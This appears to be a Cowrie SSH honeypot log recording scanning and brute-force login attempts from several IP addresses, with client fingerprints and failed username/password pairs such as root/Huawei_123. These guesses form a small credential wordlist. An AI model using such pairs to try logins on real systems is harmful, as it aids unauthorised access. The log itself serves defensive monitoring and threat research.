{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:58.893580Z","src_ip":"80.94.92.171","session":"56a7ad4e5406","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:58.897435Z","src_ip":"80.94.92.171","session":"56a7ad4e5406","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:59.295040Z","src_ip":"60.165.124.241","session":"073cabf635b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46654,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ad4217f6f0f","protocol":"ssh","message":"New connection: 60.165.124.241:46654 (10.17.0.5:22) [session: 1ad4217f6f0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:59.525818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:59.529603Z","src_ip":"60.165.124.241","session":"1ad4217f6f0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:59.774616Z","src_ip":"60.165.124.241","session":"1ad4217f6f0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:00.412710Z","src_ip":"80.94.92.171","session":"56a7ad4e5406","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1a2b3c4d@","message":"login attempt [root/1a2b3c4d@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:00.518943Z","src_ip":"60.165.124.241","session":"1ad4217f6f0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:01.552918Z","src_ip":"80.94.92.171","session":"56a7ad4e5406","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:01.772490Z","src_ip":"60.165.124.241","session":"1ad4217f6f0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49324,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3dd0380c8bb","protocol":"ssh","message":"New connection: 60.165.124.241:49324 (10.17.0.5:22) [session: c3dd0380c8bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:02.013225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:02.019387Z","src_ip":"60.165.124.241","session":"c3dd0380c8bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:02.268971Z","src_ip":"60.165.124.241","session":"c3dd0380c8bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kosova","message":"login attempt [root/kosova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:03.013636Z","src_ip":"60.165.124.241","session":"c3dd0380c8bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":58794,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0a32c9e306a","protocol":"ssh","message":"New connection: 198.58.117.211:58794 (10.17.0.5:22) [session: e0a32c9e306a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:03.967904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.10.0","message":"Remote SSH version: SSH-2.0-libssh2_1.10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:03.977187Z","src_ip":"198.58.117.211","session":"e0a32c9e306a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"b4b8ae3d7241d2c1dc54b4df7e8c19d1","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: b4b8ae3d7241d2c1dc54b4df7e8c19d1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:04.083024Z","src_ip":"198.58.117.211","session":"e0a32c9e306a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:04.254173Z","src_ip":"60.165.124.241","session":"c3dd0380c8bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52232,"dst_ip":"10.17.0.5","dst_port":22,"session":"10cbe7533d84","protocol":"ssh","message":"New connection: 60.165.124.241:52232 (10.17.0.5:22) [session: 10cbe7533d84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:04.507027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:04.511741Z","src_ip":"60.165.124.241","session":"10cbe7533d84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:04.520929Z","src_ip":"198.58.117.211","session":"e0a32c9e306a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:04.765763Z","src_ip":"60.165.124.241","session":"10cbe7533d84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":58860,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b6573b83ed9","protocol":"ssh","message":"New connection: 198.58.117.211:58860 (10.17.0.5:22) [session: 9b6573b83ed9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:05.316820Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":58874,"dst_ip":"10.17.0.5","dst_port":22,"session":"32cdf3a436f8","protocol":"ssh","message":"New connection: 198.58.117.211:58874 (10.17.0.5:22) [session: 32cdf3a436f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:05.366382Z"}
{"eventid":"cowrie.client.version","version":"SSH-1.5-NmapNSE_1.0","message":"Remote SSH version: SSH-1.5-NmapNSE_1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:05.373255Z","src_ip":"198.58.117.211","session":"9b6573b83ed9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:05.378619Z","src_ip":"198.58.117.211","session":"9b6573b83ed9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:05.424504Z","src_ip":"198.58.117.211","session":"32cdf3a436f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZXCzxc123","message":"login attempt [root/ZXCzxc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:05.537306Z","src_ip":"60.165.124.241","session":"10cbe7533d84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:06.790008Z","src_ip":"60.165.124.241","session":"10cbe7533d84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55406,"dst_ip":"10.17.0.5","dst_port":22,"session":"054925b7ab9e","protocol":"ssh","message":"New connection: 60.165.124.241:55406 (10.17.0.5:22) [session: 054925b7ab9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:07.016653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:07.021664Z","src_ip":"60.165.124.241","session":"054925b7ab9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:07.260090Z","src_ip":"60.165.124.241","session":"054925b7ab9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei_123","message":"login attempt [root/Huawei_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:07.981433Z","src_ip":"60.165.124.241","session":"054925b7ab9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:09.220069Z","src_ip":"60.165.124.241","session":"054925b7ab9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":58940,"dst_ip":"10.17.0.5","dst_port":22,"session":"be83e0714e3f","protocol":"ssh","message":"New connection: 198.58.117.211:58940 (10.17.0.5:22) [session: be83e0714e3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:09.432118Z"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58372,"dst_ip":"10.17.0.5","dst_port":22,"session":"24e1b47e670c","protocol":"ssh","message":"New connection: 60.165.124.241:58372 (10.17.0.5:22) [session: 24e1b47e670c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:09.460402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:09.473452Z","src_ip":"60.165.124.241","session":"24e1b47e670c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u3","message":"Remote SSH version: SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:09.518549Z","src_ip":"198.58.117.211","session":"be83e0714e3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:09.720840Z","src_ip":"60.165.124.241","session":"24e1b47e670c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@huawei123","message":"login attempt [root/Admin@huawei123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:10.453986Z","src_ip":"60.165.124.241","session":"24e1b47e670c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:11.705876Z","src_ip":"60.165.124.241","session":"24e1b47e670c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:11.872379Z","src_ip":"198.58.117.211","session":"be83e0714e3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33198,"dst_ip":"10.17.0.5","dst_port":22,"session":"c301d7685f64","protocol":"ssh","message":"New connection: 60.165.124.241:33198 (10.17.0.5:22) [session: c301d7685f64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:11.965778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:11.973269Z","src_ip":"60.165.124.241","session":"c301d7685f64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:12.228222Z","src_ip":"60.165.124.241","session":"c301d7685f64","protocol":"ssh"}
